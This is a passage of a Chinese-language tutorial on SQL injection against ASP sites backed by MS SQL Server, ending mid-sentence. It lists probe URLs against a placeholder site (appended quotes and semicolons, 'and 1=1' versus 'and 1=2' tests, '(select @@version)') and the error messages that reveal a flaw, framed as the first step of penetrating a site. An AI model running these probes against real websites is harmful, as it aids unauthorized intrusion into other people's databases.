文章作者:demonalex[at]dark2s.org
附录:该文的题材是针对目前比较流行的ASP+MS SQL SERVER做后台的网站而进行的测试。
PS:最近烂文写多了,发现有不少错误之处,请各位老大多多指教:)
SQL注入的基本步骤:
找到SQL注入切入点(某个URL,某个不被过滤的字符等等)-》注入渗透行为-》渗透成功
================================================================================================================
---------------------------------------------------------------------------------------------------------
如何找SQL注入切入点。
通常的方法是加入特殊字符/特殊字符串,如:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34'
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34"
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34;
等,看看能否正常显示来探听此URL有否SQL注入漏洞与未被过滤的字符是什么。如果加上了单引号
后出现:
“Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。”
那就有“戏”了...又或者是输入:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=1
与
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=2
后分别看看否能正常显示(若1=1能,而1=2不能则证明该网站有SQL注入漏洞了)。
还有的方法就是直接使用一些MS SQL SERVER的扩展特性来观察一下该网站有否该漏洞了,如:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=(select @@version)
若像小神现在“身处”的网站可以返回:
“将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05
Copyright